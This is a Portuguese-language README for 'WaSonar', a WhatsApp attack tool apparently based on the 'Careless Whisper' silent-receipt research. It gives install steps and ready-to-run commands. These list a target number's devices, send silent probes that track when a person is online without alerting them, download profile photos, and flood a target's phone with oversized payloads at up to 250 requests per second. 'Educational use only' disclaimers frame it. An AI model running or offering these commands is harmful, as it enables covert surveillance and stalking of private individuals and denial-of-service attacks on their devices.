
Ferramenta de Inteligência e Exaustão de Recursos do WhatsApp. Inclui rastreamento de dispositivos em tempo real, sondagem RTT silenciosa e teste de estresse de protocolo para pesquisa de segurança.
Aviso: Esta ferramenta é apenas para fins educacionais e pesquisa de segurança. Os desenvolvedores não são responsáveis pelo uso indevido. Por favor, use com responsabilidade e ética.
WaSonar é uma poderosa ferramenta CLI projetada para pesquisa educacional, rastreamento de dispositivos e testes de estresse no protocolo WhatsApp. Construída sobre o Baileys.
npm install -g wasonar-cli
npx wasonar-cli <command>
git clone https://github.com/AjayAntoIsDev/wasonar.git
cd wasonar
npm install
Primeiro, você precisa autenticar-se com uma conta do WhatsApp.
wasonar-cli login
Escaneie o código QR que aparece no seu terminal.
Lista todos os dispositivos conectados a um número alvo.
wasonar-cli devices <target-number>
# Exemplo:
wasonar-cli devices 919876543210
A funcionalidade principal. Envia sondas silenciosas para detectar se os dispositivos estão online e medir a latência.
# Sondar infinitas vezes (padrão)
wasonar-cli online 919876543210
# Enviar número específico de sondas
wasonar-cli online 919876543210 --probes 5
# Salvar resultados em arquivo
wasonar-cli online 919876543210 --output ./logs
Nota: PENDING/OFFLINE significa que o servidor recebeu a mensagem, mas o dispositivo alvo não confirmou o recebimento.
Obtém a foto de perfil e o status do usuário.
# Exibir informações e baixar foto de perfil
wasonar-cli profile 919876543210 --output ./profiles
⚠️ APENAS PARA FINS EDUCACIONAIS. Envia payloads superdimensionados em alta frequência.
# Modo Agressivo (Padrão: 250 req/s, payload de 1KB)
wasonar-cli exhaust 919876543210
# Modo Lento (10 req/s, payload de 500B)
wasonar-cli exhaust 919876543210 --aggression slow
# Definir duração
wasonar-cli exhaust 919876543210 --duration 30
WaSonar usa "Sondas de Exclusão Silenciosa" para detectar o status online sem alertar o alvo.
revogada (delete) para um ID de mensagem inexistente.comprovante_de_entrega (status 3) para a mensagem de protocolo.Baseado na pesquisa "Careless Whisper", este ataque explora a lacuna de validação no tratamento de reações do WhatsApp.
Embora as reações não sejam exibidas no telefone alvo se inválidas, elas ainda são recebidas e processadas.
Dados de pesquisa indicam potencial significativo para exaustão de recursos:
Baseado na pesquisa de Gegenhuber et al., Universidade de Viena & SBA Research:
@inproceedings{gegenhuber2024careless,
title={Careless Whisper: Exploiting Silent Delivery Receipts to Monitor Users on Mobile Instant Messengers},
author={Gegenhuber, Gabriel K. and G{\"u}nther, Maximilian and Maier, Markus and Judmayer, Aljosha and Holzbauer, Florian and Frenzel, Philipp {\'E}. and Ullrich, Johanna},
year={2024},
organization={University of Vienna, SBA Research}
}
Criado por AjayAnto